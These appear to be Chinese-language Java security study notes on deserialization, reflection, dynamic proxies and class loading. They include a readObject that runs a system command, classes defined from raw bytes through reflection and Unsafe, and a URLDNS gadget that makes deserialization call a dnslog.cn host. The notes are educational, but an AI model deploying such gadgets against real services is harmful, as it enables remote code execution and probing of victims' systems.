十五. Java反序列化

public static void main() throws Exception{
    Runtime.getRuntime().exec("calc");
    /*
    	Java中执行系统命令使用java.lang.Runtime类的exec方法
    	以上函数可以弹出计算器
    	getRuntime()是Runtime类中的静态方法,使用此方法获取当前java程序的Runtime(即运行时:计算机程序运行需要的代码库,框架,平台等)
    	exec底层为ProcessBuilder:此类用于创建操作系统进程
		每个ProcessBuilder实例管理进程属性的集合. start()方法使用这些属性创建一个新的Process实例. start()方法可以从同一实例重复调用,以创建具有相同或相关属性的新子进程.
    */
}

/*
 * @Author: Kill3r
 * @Date: 2022-10-03 15:57:25
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-04 14:25:05
 * @Description: 请填写简介
 */
package serializable;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;



/*
 * implements Serializable:序列化的前提,需要实现这个接口
 * Serializable:表示这个类的成员可以被序列化
 */
public class Person implements Serializable {
    private static final long serialVersionUID = 1L;
    // 添加一个 transient 关键字,则name属性不会被序列化和反序列化
    // 如果将属性设置为static,同样不会被序列化和反序列化
    // private transient String name;
    public String name;
    private int age;
    public Person(){

    }
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    /*
     * @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口
     * 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记
     * @Override是伪代码,表示重写(当然不写也可以),不过写上有如下好处:
     * 1. 可以当注释用,方便阅读
     * 2. 编译器可以给你验证@Override下面的方法名是否是你父类中所有的,如果没有则报错
     * 比如你如果没写@Override而你下面的方法名又写错了,这时你的编译器是可以通过的(它以为这个方法是你的子类中自己增加的方法)
     * 使用该标记是为了增强程序在编译时候的检查,如果该方法并不是一个覆盖父类的方法,在编译时编译器就会报告错误
     */
    @Override
    public String toString() {
        return "Person{" + "name='" + name + '\'' + ",age=" + age + '}';
    }

    private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
        /*
         * java.io.ObjectInputStream.defaultReadObject()
         * 方法用于从这个ObjectInputStream读取当前类的非静态和非瞬态字段.它间接地涉及到该类的readObject()方法的帮助.
         * 如果它被调用,则会抛出NotActiveException
         */
        objectInputStream.defaultReadObject();
        /*
         * 每个Java应用程序都有一个Runtime类的Runtime ,允许应用程序与运行应用程序的环境进行接口.当前运行时可以从getRuntime方法获得.
         */
        /*
         * exec:在具有指定环境的单独进程中执行指定的字符串命令.
         * 这是一种方便的方法. 调用表单exec(command, envp)的行为方式与调用exec(command, envp, null)完全相同 .
         */
        Runtime.getRuntime().exec("calc");
    }
}

public interface Serializable{
}

/*
 * @Author: Kill3r
 * @Date: 2022-10-03 15:56:26
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-04 10:19:15
 * @Description: 请填写简介
 */
package serializable;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Serializable {
    public static void serializable(Object person) throws IOException {
        /*
         * ObjectOutputStream将Java对象的原始数据类型和图形写入OutputStream.可以使用ObjectInputStream读取(重构)
         * 对象.可以通过使用流的文件来实现对象的持久存储.如果流是网络套接字流,则可以在另一个主机上或另一个进程中重构对象.
         */
        /*
         * 文件输出流是用于将数据写入到输出流File或一个FileDescriptor
         * .文件是否可用或可能被创建取决于底层平台.特别是某些平台允许一次只能打开一个文件来写入一个FileOutputStream
         * (或其他文件写入对象).在这种情况下,如果所涉及的文件已经打开,则此类中的构造函数将失败.
         * FileOutputStream用于写入诸如图像数据的原始字节流. 对于写入字符流,请考虑使用FileWriter .
         */
        // 序列化的类
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        /*
         * 方法writeObject用于将一个对象写入流中. 任何对象,包括字符串和数组,都是用writeObject编写的. 多个对象或原语可以写入流.
         * 必须从对应的ObjectInputstream读取对象,其类型和写入次序相同.
         */
        // 需要序列化的对象是谁?
        obj.writeObject(person);
        obj.close();
    }
    public static void main(String[] args) throws Exception{
        Person person = new Person("JiangJiYue", 22);
        serializable(person);
    }
}

/*
 * @Author: Kill3r
 * @Date: 2022-10-03 15:57:52
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-04 10:23:07
 * @Description: 请填写简介
 */
package serializable;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Unserializable {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        /*
         * ObjectInputStream反序列化先前使用ObjectOutputStream编写的原始数据和对象.
         * ObjectOutputStream和ObjectInputStream可以分别为与FileOutputStream和FileInputStream一起使用的对象图提供持久性存储的应用程序.
         * ObjectInputStream用于恢复先前序列化的对象. 其他用途包括使用套接字流在主机之间传递对象,或者在远程通信系统中进行封送和解组参数和参数.
         * ObjectInputStream确保从流中创建的图中的所有对象的类型与Java虚拟机中存在的类匹配. 根据需要使用标准机制加载类.
         * 只能从流中读取支持java.io.Serializable或java.io.Externalizable接口的对象.
         */
        // 反序列化的类
        ObjectInputStream ins = new ObjectInputStream((new FileInputStream(Filename)));
        /*
         * 方法readObject用于从流中读取对象. 应使用Java的安全铸造来获得所需的类型. 在Java中,字符串和数组是对象,在序列化过程中被视为对象.
         * 读取时,需要将其转换为预期类型.
         */
        // 读出来并反序列化
        Object obj = ins.readObject();
        ins.close();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        Person person = (Person) unserialize("ser.ser");
        System.out.println(person);
    }
}

Field age = cls.getDeclaredField("age");
// 忽略安全检查又称为暴力反射
age.setAccessible(true);
System.out.println(age.get(p));

Class cls = Class.forName("serializable.Person");
Object o = cls.newInstance();
System.out.println(o);

/*
 * @Author: Kill3r
 * @Date: 2022-10-04 14:11:43
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-04 16:08:53
 * @Description: 请填写简介
 */
package serializable;

import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Properties;

public class ReflectionTest {
    public static void main(String[] args) throws Exception  {
        /*
        * 前提:不能改变该类的任何代码,可以创建任意类的对象,可以执行任意方法
        * 步骤:
        *       1. 将需要创建的对象的全类名和需要执行的方法定义在配置文件中
        *       2. 在程序中加载读取配置文件
        *       3. 使用反射技术来加载类文件进内存
        *       4. 创建对象
        *       5. 执行方法
        * */
        // 1.1创建Properties对象
        Properties pro = new Properties();
        // 1.2加载配置文件,转换为一个集合
        // 1.2.1获取class目录下的配置文件
        ClassLoader classLoader = ReflectionTest.class.getClassLoader();
        InputStream is = classLoader.getResourceAsStream("serializable/pro.properties");
        pro.load(is);

        // 2.获取配置文件中定义的数据
        String className = pro.getProperty("className");
        String methodName = pro.getProperty("methodName");
        // 3.加载该类进内存
        Class cls = Class.forName(className);
        // 4.创建对象
        Object obj = cls.newInstance();
        // 5.获取方法对象
        Method method = cls.getMethod(methodName);
        // 6.执行方法
        method.invoke(obj);
    }
}

/*
 * @Author: Kill3r
 * @Date: 2022-10-11 19:40:35
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-11 19:40:36
 * @Description: 请填写简介
 */
package java_proxy;

public interface IUser {
    void show();
}

/*
 * @Author: Kill3r
 * @Date: 2022-10-11 19:42:01
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-11 19:43:35
 * @Description: 请填写简介
 */
package java_proxy;

public class Userlmpl implements IUser{
    public Userlmpl() {
    }

    @Override
    // @Override是伪代码,表示重写
    public void show() {
        System.out.println("展示");
    }
}

/*
 * @Author: Kill3r
 * @Date: 2022-10-11 19:45:45
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-11 19:46:53
 * @Description: 请填写简介
 */
package java_proxy;

public class UserProxy implements IUser{
    IUser user;

    public UserProxy() {
    }

    public UserProxy(IUser user) {
        this.user = user;
    }
    @Override
    public void show() {
        user.show();
        System.out.println("调用了UserProxy中的show");
    }
}

/*
 * @Author: Kill3r
 * @Date: 2022-10-11 19:44:01
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-11 20:25:55
 * @Description: 请填写简介
 */

package java_proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class ProxyTest {
    public static void main(String[] args) {
        IUser user = new Userlmpl();
        // 静态代理
        IUser userProxy = new UserProxy(user);
        userProxy.show();
    }
}

/*
 * @Author: Kill3r
 * @Date: 2022-10-11 19:42:01
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-11 19:43:35
 * @Description: 请填写简介
 */
package java_proxy;

public class Userlmpl implements IUser{
    public Userlmpl() {
    }

    @Override
    // @Override是伪代码,表示重写
    public void show() {
        System.out.println("展示");
    }
}

/*
 * @Author: Kill3r
 * @Date: 2022-10-11 20:21:22
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-11 20:27:17
 * @Description: 请填写简介
 */
package java_proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class UserInvocationHandler implements InvocationHandler {
    IUser user;

    public UserInvocationHandler() {
    }

    public UserInvocationHandler(IUser user) {
        this.user = user;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("调用了UserInvocationHandler中的show");
        method.invoke(user, args);
        return null;
    }
}

/*
 * @Author: Kill3r
 * @Date: 2022-10-11 19:44:01
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-11 20:25:55
 * @Description: 请填写简介
 */

package java_proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class ProxyTest {
    public static void main(String[] args) {
        IUser user = new Userlmpl();
        // 动态代理
        InvocationHandler userinvhandler = new UserInvocationHandler(user);
        // 要代理的接口、类加载器,classloader、要做的事情、
        IUser userProxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(),
                user.getClass().getInterfaces(), userinvhandler);
        userProxy.show();
    }
}

/*
 * @Author: Kill3r
 * @Date: 2022-10-12 12:18:17
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-12 12:25:28
 * @Description: 请填写简介
 */
package load_class;

public class Person {

    public String name;
    private int age;
    static {
        System.out.println("静态代码块");
    }

    public static void staticAction() {
        System.out.println("静态方法");
    }

    {
        System.out.println("构造代码块");
    }
    public Person(){
        System.out.println("无参Person");
    }

    public Person(String name, int age) {
        System.out.println("有参Person");
        this.name = name;
        this.age = age;
    }

    /*
     * @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口
     * 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记
     * @Override是伪代码,表示重写(当然不写也可以),
     */
    @Override
    public String toString() {
        return "Person{" + "name='" + name + '\'' + ",age=" + age + '}';
    }

    private void action(String act){System.out.println(act);}
}

package load_class;

public class LoadClass {
    public static void main(String[] args) throws Exception{
        // 动态加载进行了初始化的操作
        Class.forName("load_class.Person");
    }
}

/*
 * @Author: Kill3r
 * @Date: 2022-10-12 12:17:50
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-12 14:37:34
 * @Description: 请填写简介
 */
package load_class;

public class LoadClass {
    public static void main(String[] args) throws Exception {
        // ClassLoader是一个抽象类,不能被实例化,但是提供了一个静态方法,获取当前系统的类加载器
        ClassLoader cs = ClassLoader.getSystemClassLoader();
        // 第一个参数类名
        // 第二个参数是不进行初始化
        // 第四个参数是forName0的,所以在这不用写
        // 这种都是可以正常实例化的
        Class<?> c = Class.forName("load_class.Person", false, cs);
        // 正常的实例化
        c.newInstance();
    }
}

/*
 * @Author: Kill3r
 * @Date: 2022-10-12 12:17:50
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-12 14:40:27
 * @Description: 请填写简介
 */
package load_class;

public class LoadClass {
    public static void main(String[] args) throws Exception {
        // ClassLoader是一个抽象类,不能被实例化,但是提供了一个静态方法,获取当前系统的类加载器
        ClassLoader cs = ClassLoader.getSystemClassLoader();
        // 打印ClassLoader,看一下是什么
        // result:sun.misc.Launcher$AppClassLoader@73d16e93
        // 他是Launcher里面的一个内部类,叫做AppClassLoader
        System.out.println(cs);
    }
}

/*
 * @Author: Kill3r
 * @Date: 2022-10-12 22:43:33
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-13 08:27:39
 * @Description: 请填写简介
 */
package load_class;

public class Hello {
    public Hello() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

ClassLoader cl = ClassLoader.getSystemClassLoader();
Method defineClassMethod =  ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\LearningWorld\\PersonalProject\\PersonalProject\\Java\\基础语法\\src\\load_class\\Hello.class"));
Class c = (Class) defineClassMethod.invoke(cl,"load_class.Hello",code,0,code.length);
c.newInstance();

/*
 * @Author: Kill3r
 * @Date: 2022-10-12 12:17:50
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-13 20:19:06
 * @Description: 请填写简介
 */
package load_class;

import sun.misc.Launcher;
import sun.misc.Unsafe;

import java.io.File;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;

public class LoadClass {
    public static void main(String[] args) throws Exception {
        ClassLoader cl = ClassLoader.getSystemClassLoader();
        byte[] code = Files.readAllBytes(Paths
                .get("D:\\LearningWorld\\PersonalProject\\PersonalProject\\Java\\基础语法\\src\\load_class\\Hello.class"));
        Class c = Unsafe.class;
        Field theUnsafeField = c.getDeclaredField("theUnsafe");
        theUnsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
        Class c2 = unsafe.defineClass("load_class.Hello", code, 0, code.length, cl, null);
        c2.newInstance();
    }
}

/*
* @Author: Kill3r
* @Date: 2022-10-16 20:33:43
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-16 22:34:09
* @Description: 请填写简介
*/
package java_Map;

import java.util.*;

public class TestMap {
    public static void main(String[] args) {
        //        Student stu1 = new Student(1, "张三", 22);
        //        Student stu2 = new Student(2, "李四", 28);
        //        Student stu3 = new Student(3, "王五", 24);
        //        Student stu4 = new Student(4, "赵六", 21);
        //        Student stu5 = new Student(5, "刘琦", 18);
        //
        //        Map<Integer, Student> map = new HashMap<>();
        //        map.put(stu1.getId(), stu1);
        //        map.put(stu2.getId(), stu2);
        //        map.put(stu3.getId(), stu3);
        //        map.put(stu4.getId(), stu4);
        //        map.put(stu5.getId(), stu5);
        //        // 该代码允许用户从System.in读取一个数字
        //        Scanner sc = new Scanner(System.in);
        //        // 提示文字
        //        System.out.println("请输入学生的编号:");
        //        // 该代码允许用户从System.in读取一个数字
        //        int id = sc.nextInt();
        //        sc.close();
        //        // map.get()通过key取值
        //        System.out.println(map.get(id));

        Map<Integer, String> map = new HashMap<>();
        // Map集合添加元素 k v
        map.put(1, "北京");
        map.put(2, "山东");
        map.put(3, "河南");
        map.put(4, "河北");
        // 根据Key获取对应的值
        System.out.println(map.get(1));
        // 根据Map的key进行元素的移除 如果元素不存在返回是null 否则返回移除对象的value
        String s = map.remove(1);
        System.out.println(s);
        // 根据 k v 同时移除内容  返回值是布尔类型
        System.out.println(map.remove(2, "山东"));

        // 元素的替换
        System.out.println(map.replace(3, "天津"));
        // 替换成功返回Bool
        System.out.println(map.replace(4, "河北", "山西"));
        System.out.println(map.get(4));

        System.out.println(map);
        // 清空map集合内容 k   v 都清空
        map.clear();
        System.out.println(map);

        System.out.println("--------HashMap保存值情况--------");
        map.put(1, "北京1");
        // HashMap中如果k相同了 后者的v就会把前者相同的k的v进行覆盖
        System.out.println(map);
        // hash表中是允许Kev保存空对象
        map.put(null, "空");
        System.out.println(map);
        System.out.println("--------TreeMap保存值情况--------");
        Map<Integer, String> map2 = new TreeMap<>();
        map2.put(1, "北京");
        map2.put(2, "北京2");
        // TreeMap中如果k相同了 后者的v就会把前者相同的k的v进行覆盖
        map2.put(1, "北京3");
        // Tree中不允许Kev保存空值,否则出错(源码中没有对null进行处理)
        // map2.put(null, "空");
        System.out.println(map2);
        System.out.println("--------Map3集合的遍历--------");
        Map<Integer, String> map3 = new HashMap<>();
        map3.put(1, "北京");
        map3.put(2, "山东");
        map3.put(3, "河南");
        map3.put(4, "河北");
        // 当前遍历的方式
        // 获得map集合中当前所有的key
        System.out.println("遍历方法一:");
        Set<Integer> keySet = map3.keySet();
        for (Integer key : keySet) {
            System.out.println(key+"----"+map3.get(key));
        }
        // 直接获得map集合的value
        System.out.println("遍历方法二:");
        Collection<String> values = map3.values();
            for (String value : values) {
            System.out.println(value);
            }

            System.out.println("遍历方法三:");
            Set<Map.Entry<Integer, String>> entrySet= map3.entrySet();
            for (Map.Entry<Integer, String> entry : entrySet) {
            System.out.println(entry.getKey()+"----"+entry.getValue());
            }
            }
            }

/*
 * @Author: Kill3r
 * @Date: 2022-10-03 19:11:15
 * @LastEditors: Kill3r
 * @LastEditTime: 2022-10-05 10:25:36
 * @Description: 请填写简介
 */

package serializable.urldns;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;


public class Dnstest {
    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        URL url = new URL("http://v0qf5g.dnslog.cn");
        Class c =URL.class;
        Field fieldHashcode = c.getDeclaredField("hashCode");
        fieldHashcode.setAccessible(true);
        // 发现在生成过程中,dnslog就收到了请求,并且在反序列过程后dnslog不在收到新的请求,这显然不符合我们的期望
        // 原因是在put的过程中hashMap类就调用了hash方法,并且在hash方法中判断hashcode不为初始化的值(-1)时会直接返回,在序列化的时候已经进行了hashCode计算,那么在反序列化时就不会走到他真正的handler.hashCode方法里
        // 所以需要修改hashCode值不为-1
        fieldHashcode.set(url,1);
        hashmap.put(url, 22);
        // 反序列化之后还是需要让他发送请求,所以需要改回来
        // 通俗讲如果不修改上方的hashCode值,还未反序列化就会造成一次DNSLOG请求,所以需要禁止put请求,让反序列化时的readObject去请求
        fieldHashcode.set(url,-1);
        Serializable(hashmap);
    }

    public static void Serializable(Object obj) throws Exception {
        ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        InputStream.writeObject(obj);
        InputStream.close();
    }
}